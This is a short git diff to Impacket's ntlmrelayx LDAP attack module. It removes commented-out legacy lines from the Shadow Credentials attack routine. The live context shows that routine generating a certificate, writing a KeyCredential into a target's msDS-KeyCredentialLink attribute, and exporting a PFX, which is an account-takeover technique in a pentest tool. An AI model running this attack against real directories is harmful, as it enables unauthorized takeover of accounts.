diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py
index 896c82e86..c8971c6d6 100644
--- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py
+++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py
@@ -282,11 +282,9 @@ def shadowCredentialsAttack(self, domainDumper):
             LOG.info("Target user found: %s" % target_dn)
 
         LOG.info("Generating certificate")
-        #certificate = X509Certificate2(subject=currentShadowCredentialsTarget, keySize=2048, notBefore=(-40 * 365), notAfter=(40 * 365))
         certificate,publicKey,key = shadow_credentials.createX509Certificate(subject=currentShadowCredentialsTarget, keySize=2048, notBefore=(-40 * 365), notAfter=(40 * 365))
         LOG.info("Certificate generated")
         LOG.info("Generating KeyCredential")
-        #keyCredential = KeyCredential.fromX509Certificate2(certificate=certificate, deviceId=Guid(), owner=target_dn, currentTime=DateTime())
         keyCredential = shadow_credentials.CreateKeyCredentialFromX509Certificate(publicKey, deviceId=shadow_credentials.getRandomGUID(), owner=target_dn, currentTime=shadow_credentials.getTimeTicks())
         #LOG.info("KeyCredential generated with DeviceID: %s" % keyCredential.DeviceId.toFormatD())
         #LOG.debug("KeyCredential: %s" % keyCredential.toDNWithBinary().toString())
@@ -300,7 +298,6 @@ def shadowCredentialsAttack(self, domainDumper):
             LOG.error('Could not query target user properties')
             return
         try:
-            #new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [keyCredential.toDNWithBinary().toString()]
             new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [shadow_credentials.toDNWithBinary2String( keyCredential, target_dn )]
             LOG.info("Updating the msDS-KeyCredentialLink attribute of %s" % currentShadowCredentialsTarget)
             self.client.modify(target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]})
@@ -324,7 +321,6 @@ def shadowCredentialsAttack(self, domainDumper):
                         LOG.debug("No pass was provided. The certificate will be store with the password: %s" % password)
                     else:
                         password = self.config.ShadowCredentialsPFXPassword
-                    #certificate.ExportPFX(password=password, path_to_file=path)
                     shadow_credentials.exportPFX(certificate,key,password=password, path_to_file=path)
                     LOG.info("Saved PFX (#PKCS12) certificate & key at path: %s" % path + ".pfx")
                     LOG.info("Must be used with password: %s" % password)